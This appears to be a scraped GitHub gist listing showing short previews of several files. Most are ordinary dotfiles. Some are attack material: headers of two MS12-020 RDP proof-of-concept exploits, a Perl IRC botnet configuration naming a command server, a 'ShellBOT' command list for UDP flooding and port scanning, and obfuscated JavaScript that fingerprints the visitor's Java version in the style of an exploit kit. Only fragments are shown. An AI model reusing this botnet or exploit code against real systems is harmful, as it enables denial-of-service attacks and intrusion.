This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add Git branch prompt | |
function git-current-branch { | |
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /' | |
} | |
# Add custom bash prompt via kirsle.net/wizards/ps1.html | |
export PS1="\u@macbook \[$(tput setaf 2)\][\W] \[$(tput setaf 1)\]\$(git-current-branch)\[$(tput setaf 7)\]> \[$(tput sgr0)\]" | |
# Add Git auto completion support | |
source /Library/Developer/CommandLineTools/usr/share/git-core/git-completion.bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"bold_folder_labels": true, | |
"caret_extra_width": 1, | |
"caret_style": "phase", | |
"close_windows_when_empty": false, | |
"color_scheme": "Packages/Theme - Spacegray/base16-ocean.dark.tmTheme", | |
"draw_minimap_border": true, | |
"enable_tab_scrolling": false, | |
"font_face": "Inconsolata", | |
"font_options": |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" If using Janus, then this should be .vimrc.after | |
" Technically this is really a gvimrc but who's counting. | |
set nocompatible | |
colorscheme slate | |
filetype plugin indent on | |
set hls | |
" Metasploit's current default tabs | |
set tabstop=2 softtabstop=2 shiftwidth=2 noexpandtab shiftround smarttab |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# | |
# ms12-020 "chinese shit" PoC v2 (wireshark version) | |
# | |
# tested on winsp3 spanish, reported to work on Win7, win 2008 | |
# | |
# original source: http://115.com/file/be27pff7 | |
# | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
# ms12-020 PoC attempt | |
# | |
# NOTE: This was crafted based on a legit connection packet capture and reversing | |
# a packet capture of the leaked MAPP PoC. | |
# | |
# by Joshua J. Drake (jduck) | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Integer | Array | | |
Directive | Element | Meaning | |
--------------------------------------------------------------------------- | |
C | Integer | 8-bit unsigned (unsigned char) | |
S | Integer | 16-bit unsigned, native endian (uint16_t) | |
L | Integer | 32-bit unsigned, native endian (uint32_t) | |
Q | Integer | 64-bit unsigned, native endian (uint64_t) | |
| | | |
c | Integer | 8-bit signed (signed char) | |
s | Integer | 16-bit signed, native endian (int16_t) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Source our bashrc file, hacky? | |
source ~/.bashrc | |
export PATH=/usr/local/bin:$PATH | |
# Load RVM into a shell session, as a function | |
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
my @mast3rs = ("pizza"); | |
my @hostauth = ("sosick.net"); | |
my @admchan=("#X"); | |
my @server = ("89.248.172.144"); | |
$servidor= $server[rand scalar @server] unless $servidor; | |
my $xeqt = "''"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ShellBOT | |
# | |
# Comenzi: !all | |
# - @udp <ip> <port> <timp>; | |
# - @fullportscan <ip> <start port> <final port>; | |
# - !quit; | |
# - !join <canal> <key> e !part <canal> <reason>; | |
# - !op !deop !voice !devoice <canal> <nick>; | |
# - !msg !ctcp 1 2; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function NyMpwEMG() { | |
var FHQxrYhsp = window.PluginDetect.getVersion("Java"); | |
if (typeof FHQxrYhsp == 'string') { | |
FHQxrYhsp = FHQxrYhsp.split(","); | |
if (FHQxrYhsp[3].length == 1) { | |
FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3]; | |
} else { | |
FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3]; | |
} | |
} else { |
OlderNewer